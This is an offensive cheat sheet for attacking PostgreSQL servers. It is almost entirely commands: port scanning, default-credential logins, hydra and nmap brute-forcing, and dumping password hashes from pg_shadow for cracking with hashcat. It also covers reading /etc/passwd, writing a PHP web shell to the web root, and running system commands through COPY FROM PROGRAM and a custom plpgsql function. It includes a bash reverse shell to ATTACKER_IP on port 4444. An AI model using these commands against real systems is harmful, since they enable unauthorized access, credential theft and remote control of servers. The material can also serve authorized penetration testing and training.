5432 - PostgreSQL

nmap -sV -sC -p 5432 TARGET

psql -h TARGET -U postgres
psql -h TARGET -U postgres -d database_name
psql "postgresql://postgres:password@TARGET/database"

hydra -L users.txt -P passwords.txt postgres://TARGET
# CrackMapExec/NetExec have no postgres protocol — use nmap or metasploit
nmap -p 5432 --script pgsql-brute TARGET

SELECT version();
SELECT current_user;
SELECT usename, passwd FROM pg_shadow;
\l              -- List databases
\dt             -- List tables
\du             -- List users/roles
SELECT * FROM pg_database;

SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('/etc/passwd', 0, 1000);

CREATE TABLE tmp(data text);
COPY tmp FROM '/etc/passwd';
SELECT * FROM tmp;

COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

CREATE TABLE cmd(output text);
COPY cmd FROM PROGRAM 'id';
SELECT * FROM cmd;

COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';

SELECT lo_import('/etc/passwd');
SELECT lo_export(OID, '/tmp/output');

SELECT usename, passwd FROM pg_shadow;

# hash.txt: the hex after the 'md5' prefix; append username to candidates via a rule/mask
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

CREATE OR REPLACE FUNCTION cmd(text) RETURNS void AS $$
BEGIN
    EXECUTE 'COPY (SELECT '''') TO PROGRAM ''' || $1 || '''';
END;
$$ LANGUAGE plpgsql;

SELECT cmd('id');

nmap -p 5432 --script pgsql-brute TARGET